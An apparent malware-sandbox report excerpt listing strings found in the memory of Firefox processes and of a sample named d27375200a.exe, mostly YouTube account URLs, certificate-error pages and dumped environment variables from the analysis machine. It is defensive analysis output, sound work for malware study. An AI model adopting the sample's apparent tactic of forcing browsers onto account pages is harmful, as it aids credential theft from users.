Source: firefox.exe, 00000016.00000003.3174264142.000001893689F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3063650465.00000189368A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2878072172.00000189368A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3069241995.00000189317EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\=C:=C:\Users\user\1000003002ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash Reports\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsram Filt equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\=C:=C:\Users\user\1000003002ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000003.2764798353.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.2786986644.00000271F8E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.2786986644.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =C:=C:\Windows\System32ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3015381995.0000020633FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows= equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3013910159.00000197DA1B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsLrX0 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2784283721.00000271F8DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowspb equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3012524075.0000020633CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000013.00000002.2813219119.000001729F300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\1000003002\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"Winsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\1000003002\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"winsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000013.00000002.2813219119.000001729F300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3015863881.0000020634008000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3012524075.0000020633CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3153426972.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Nabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3073945047.00000189317CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountNUMB equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E79000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.2784283721.00000271F8DF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3013910159.00000197DA1B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account+J equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3012330529.00000197D9F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountJ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountr! equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/accountwm equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3384064641.0000018945A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3382756337.0000018945AC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356229366.00000189451DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3153426972.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ae=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3382756337.0000018945AC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3153426972.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3359286606.0000018944534000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3359286606.0000018944539000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.2932981403.00000189378AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3171769627.00000189378AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3359286606.0000018944534000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.0000018944721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3426007488.0000018945CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3280386302.0000018945CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3069241995.00000189317EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comweave:service:start-over equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: indowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDO equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3013910159.00000197DA1B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: mmonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000003.2764798353.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.2786986644.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: neer\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ogramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowss equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2784283721.00000271F8DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2784283721.00000271F8DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ps://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E92000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2763656672.00000271F8E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: d27375200a.exe, 0000000C.00000003.2757724946.00000000021A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: d27375200a.exe, 0000000C.00000003.2757724946.00000000021A7000.00000004.00000020.00020000.00000000.sdmp, d27375200a.exe, 0000000C.00000003.2757913462.0000000002290000.00000004.00000020.00020000.00000000.sdmp, d27375200a.exe, 00000025.00000003.2994466793.00000000021E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set "URL=https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3065632271.0000018935505000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3174264142.000001893689F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3063650465.00000189368A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3065552835.0000018935747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2932981403.00000189378AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073028344.00000189317DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
